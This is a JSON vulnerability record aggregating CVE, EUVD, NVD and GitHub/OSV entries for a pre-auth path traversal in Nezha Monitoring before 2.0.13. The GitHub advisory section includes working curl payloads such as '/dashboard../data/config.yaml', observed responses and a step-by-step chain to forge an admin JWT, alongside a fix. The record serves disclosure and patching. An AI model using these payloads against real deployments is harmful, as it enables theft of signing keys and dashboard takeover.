{"id":"CVE-2026-53519","revision":null,"records":[{"revision":"f703ef98de76418287698b05fe248fb8","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-53519","aliases":[],"title":"Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key","description":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. Prior to version 2.0.13, fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join(\"admin-dist\", \"../data/config.yaml\") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required. This issue has been patched in version 2.0.13.","state":0,"publishedAt":"2026-06-12T21:03:48.844+00:00","modifiedAt":"2026-06-15T18:27:12.779+00:00","affected":[{"ecosystem":"Vendor product","name":"nezha","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nezhahq\",\n                    \"product\": \"nezha\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.0.13\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-53519","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-53519","identifiers":["CVE-2026-53519"]},"retained":false,"historicalAffected":[]},{"revision":"2eac8f155b064c7993d0a1a57eec0fd2","observedAt":"2026-11-07T11:37:32.745+00:00","statement":{"source":"euvd","id":"EUVD-2026-36598","aliases":["CVE-2026-53519","GHSA-5c25-7vpj-9mqh"],"title":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. Prior to version 2.0.13, fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admi…","description":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. Prior to version 2.0.13, fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join(\"admin-dist\", \"../data/config.yaml\") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required. This issue has been patched in version 2.0.13.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":null}],"references":["https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-36598","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 12, 2026, 9:03:48 PM","dateUpdated":"Jun 15, 2026, 6:27:12 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-36598","identifiers":["EUVD-2026-36598","CVE-2026-53519","GHSA-5c25-7vpj-9mqh"]},"retained":false,"historicalAffected":[]},{"revision":"62b8204b69ec46d88d448bac27426901","observedAt":"2026-10-27T14:13:22.737+00:00","statement":{"source":"nvd","id":"CVE-2026-53519","aliases":[],"title":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. Prior to version 2.0.13, fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admi…","description":"Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. Prior to version 2.0.13, fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join(\"admin-dist\", \"../data/config.yaml\") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required. This issue has been patched in version 2.0.13.","state":0,"publishedAt":"2026-06-12T22:16:51.953+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53519","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-06-12T22:16:51.953","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-53519","identifiers":["CVE-2026-53519"]},"retained":false,"historicalAffected":[]},{"revision":"0e3b5d2d50fb4c28aa3e7069a27f8995","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-5c25-7vpj-9mqh","aliases":["CVE-2026-53519","GO-2026-5828"],"title":"Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key","description":"### Summary\n`fallbackToFrontend` in the dashboard's `NoRoute` handler treats any URL whose **raw string** starts with `/dashboard` as an admin-frontend asset request. The check uses `strings.HasPrefix`, not a path-segment match, so the input `/dashboard../data/config.yaml` is accepted; `strings.TrimPrefix` leaves `../data/config.yaml`; and `path.Join(\"admin-dist\", \"../data/config.yaml\")` normalizes to `data/config.yaml` — which `os.Stat` finds and `http.ServeFile` returns. No authentication required.\n \nIn default deployments (the values shipped in `model/config.go` and the layout shipped in the project `Dockerfile`) `data/config.yaml` contains the HS256 `jwt_secret_key` used by `cmd/dashboard/controller/jwt.go` to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.\n\n### Details\n## Root cause\n \n```go\n// cmd/dashboard/controller/controller.go @ 636f4a9\n387:    fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)\n388:    if strings.HasPrefix(c.Request.URL.Path, \"/dashboard\") {\n389:        stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard\")\n390:        localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)\n391:        if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {\n392:            return\n393:        }\n```\n \n```go\n// cmd/dashboard/controller/controller.go @ 636f4a9\n322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {\n323:     checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {\n324:         if _, err := os.Stat(path); err == nil {\n325:             http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)\n326:             return true\n327:         }\n```\n \n`fallbackToFrontend` is wired as the catch-all at `cmd/dashboard/controller/controller.go:157` — `r.NoRoute(fallbackToFrontend(frontendDist))` — so every URL not matched by an earlier route reaches it, including pre-auth.\n \n### Path math (verified, see appendix)\n \n| Input `URL.Path` | `TrimPrefix(..., \"/dashboard\")` | `path.Join(\"admin-dist\", ...)` | Reachable file |\n|---|---|---|---|\n| `/dashboard/login` | `/login` | `admin-dist/login` | legitimate, intended |\n| `/dashboard/../data/config.yaml` | `/../data/config.yaml` | `data/config.yaml` | **but blocked by Go `http.ServeFile`'s URL `..`-segment guard → 400** |\n| `/dashboard../data/config.yaml` | `../data/config.yaml` | `data/config.yaml` | **served, 200** |\n| `/dashboard%2e%2e/data/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** |\n| `/dashboard..%2fdata/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** |\n \nThe negative control (`/dashboard/../data/config.yaml`) lands at the same on-disk path after `path.Join`, but is rejected by `http.ServeFile` because Go's stdlib enforces a URL-level traversal guard that fires when the **request URL** itself contains a standalone `..` segment. The bypass works because in `/dashboard../...` the first URL segment is the single token `dashboard..` — no standalone `..` — so the stdlib guard does not trigger. The traversal segment is **created after `TrimPrefix`**, downstream of every defense.\n \n### Why the existing defenses miss\n \n1. The prefix check is a substring test on the raw URL string, not a segment test. `dashboard` and `dashboard..` are both accepted.\n2. `path.Join` silently `Clean`s the result — so the `..` is consumed correctly to escape `admin-dist`, with no error returned to indicate escape.\n3. Go's `http.ServeFile` stdlib guard fires only on URLs with a standalone `..` segment (per `net/http.containsDotDot`). The payload puts the dots inside the first segment instead.\n4. No anchored \"is this still under the template root?\" check exists after `path.Join`.\n\n## PoC\n### Setup\n \n```text\nTARGET:        github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef\nHARNESS:       stdlib-only port — see Appendix A\nWORKDIR:       tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db\nTIME-TO-REPRO: first request\n```\n \nThe harness plants this `data/config.yaml`:\n \n```yaml\ndebug: false\nlisten_port: 8008\nlanguage: en_US\njwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE\nagent_secret_key: REPRO_AGENT_SECRET_VALUE\nsite:\n  brand: nezha-repro\n```\n \n### Observed responses\n \n**Primary payload — pre-auth secret disclosure:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'\n```\n \n```text\nHTTP/1.1 200 OK\nAccept-Ranges: bytes\nContent-Length: 167\nContent-Type: application/yaml\nLast-Modified: Sun, 24 May 2026 12:16:23 GMT\nDate: Sun, 24 May 2026 12:16:25 GMT\n \ndebug: false\nlisten_port: 8008\nlanguage: en_US\njwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE\nagent_secret_key: REPRO_AGENT_SECRET_VALUE\nsite:\n  brand: nezha-repro\n```\n \n**Negative control — Go stdlib guard rejects the canonical form:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'\n```\n \n```text\nHTTP/1.1 400 Bad Request\nContent-Type: text/plain; charset=utf-8\n \ninvalid URL path\n```\n \n**Encoded-dot variant — bypass also works:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 167\nContent-Type: application/yaml\n[... full config.yaml including jwt_secret_key ...]\n```\n \n**Encoded-slash variant — bypass also works:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 167\nContent-Type: application/yaml\n[... full config.yaml including jwt_secret_key ...]\n```\n \n**Double-encoded — confirms the bypass requires single-level encoding:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 30\nContent-Type: text/html; charset=utf-8\n \n<html>admin frontend OK</html>\n```\n \nThe literal `%252e%252e` does not decode to `..`, so the path becomes `admin-dist/%2e%2e/data/config.yaml` (no escape), `os.Stat` fails, and the handler falls through to serving `admin-dist/index.html` — no secret disclosure.\n \n**Encoded leading slash — also blocked at the stdlib layer:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'\n```\n \n```text\nHTTP/1.1 400 Bad Request\n \ninvalid URL path\n```\n \n**SQLite database exfil — same primitive:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 42\n \nSQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY\n```\n \n### Sanity checks\n \n- Normal `/dashboard/` request still serves `admin-dist/index.html` with HTTP 200 — the bypass does not regress legitimate behavior.\n- Requests to `/api/...` still hit the JSON-404 branch — the bypass is isolated to the `/dashboard` fallback.\n\n\n## Impact\n### Direct primitive\nUnauth read of any file in the dashboard's working directory subtree reachable by escaping `admin-dist` one level. In default deployments that includes:\n \n| File | Default path | Why it matters |\n|---|---|---|\n| `data/config.yaml` | from `-c` flag default (`cmd/dashboard/main.go:104`) | Contains `jwt_secret_key` (signing key, **HS256**), `agent_secret_key`, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets |\n| `data/sqlite.db` | from `-db` flag default (`cmd/dashboard/main.go:105`) | Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs |\n \n### Chain to administrative account takeover (verified path)\n \n1. **Read config** — `GET /dashboard../data/config.yaml` returns plaintext YAML containing `jwt_secret_key`.\n2. **Read database** — `GET /dashboard../data/sqlite.db` returns the SQLite file; an attacker opens it and reads the `users` table to recover admin user IDs (and any other claims the JWT references).\n3. **Forge a JWT** — the dashboard's JWT middleware at `cmd/dashboard/controller/jwt.go:22,27` is wired with:\n   ```go\n   Key:              []byte(singleton.Conf.JWTSecretKey),\n   SigningAlgorithm: \"HS256\",\n   CookieName:       \"nz-jwt\",\n   IdentityKey:      model.CtxKeyAuthorizedUser,\n   ```\n   HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose `user_id` claim matches the admin user from step 2 and attaches it as the `nz-jwt` cookie (or `Authorization: Bearer ...`).\n4. **Operate as admin** — every admin handler (`adminHandler` chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings.\nThe chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.\n## Suggested fix\n \nMake the prefix test segment-aware and reject paths whose cleaned form escapes the template root **before** any filesystem call. Minimal diff:\n \n```diff\n- if strings.HasPrefix(c.Request.URL.Path, \"/dashboard\") {\n-     stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard\")\n+ if c.Request.URL.Path == \"/dashboard/\" || strings.HasPrefix(c.Request.URL.Path, \"/dashboard/\") {\n+     stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard/\")\n+     cleanPath := path.Clean(\"/\" + stripPath)\n+     if cleanPath == \"..\" || strings.HasPrefix(cleanPath, \"../\") || strings.Contains(cleanPath, \"/../\") {\n+         c.JSON(http.StatusNotFound, newErrorResponse(errors.New(\"404 Not Found\")))\n+         return\n+     }\n      localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)\n```\n \nThe `/dashboard` -> `/dashboard/` redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in `frontendPageUrlRegistry`.\n \nThe same hardening should be applied to the user-template branch (lines 399–405), which uses the same `path.Join` pattern with `singleton.Conf.UserTemplate`. While the `/dashboard` prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled `URL.Path` to that branch would re-introduce the same primitive.\n \nA defense-in-depth alternative is to replace the local `os.Stat + http.ServeFile` branch with a `http.FileServer(http.FS(subFS))` rooted at the embedded `admin-dist` subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.","state":0,"publishedAt":"2026-06-26T23:03:13+00:00","modifiedAt":"2026-07-07T16:11:29.0787479+00:00","affected":[{"ecosystem":"Go","name":"github.com/nezhahq/nezha","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.13"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh","https://nvd.nist.gov/vuln/detail/CVE-2026-53519","https://github.com/nezhahq/nezha"],"sourceUrl":"https://github.com/advisories/GHSA-5c25-7vpj-9mqh","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5c25-7vpj-9mqh","identifiers":["GHSA-5c25-7vpj-9mqh","CVE-2026-53519","GO-2026-5828"]},"retained":false,"historicalAffected":[]},{"revision":"fd828997f73d4498932a83e3dcf0a1cb","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5828","aliases":["CVE-2026-53519","GHSA-5c25-7vpj-9mqh"],"title":"Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key in github.com/nezhahq/nezha","description":"Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key in github.com/nezhahq/nezha.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/nezhahq/nezha before v2.0.13.","state":0,"publishedAt":"2026-07-07T15:26:32+00:00","modifiedAt":"2026-07-07T16:01:34.8657118+00:00","affected":[{"ecosystem":"Go","name":"github.com/nezhahq/nezha","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh","https://nvd.nist.gov/vuln/detail/CVE-2026-53519"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5828","license":"OSV · upstream source license applies","key":"osv:GO-2026-5828","identifiers":["GO-2026-5828","CVE-2026-53519","GHSA-5c25-7vpj-9mqh"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.014368+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.014369+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-aac6631b84e101279eb6b1c3835f52bf7b26c50f4d25bc0fb35977235593f4a7","complete":true,"records":420943,"lastAttemptAt":"2026-11-07T20:07:23.1739993+00:00","lastSuccessAt":"2026-11-07T20:07:23.0712879+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.1739993+00:00","snapshotPublishedAt":"2026-11-07T19:18:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c5a2504558b549559b8658a653596391","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T20:19:26.3099435+00:00","lastSuccessAt":"2026-11-07T20:19:26.304+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:19:26.304+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.0152025+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.0152028+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-191690d52ba04a91b1a2749fa6191ceb","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T20:07:42.8841875+00:00","lastSuccessAt":"2026-11-07T20:07:42.881+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:42.881+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T20:07:23.800032+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.800032+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T20:07:23.2420378+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.2420378+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T20:07:23.8227715+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.8227715+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T20:07:23.4659623+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.4659623+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}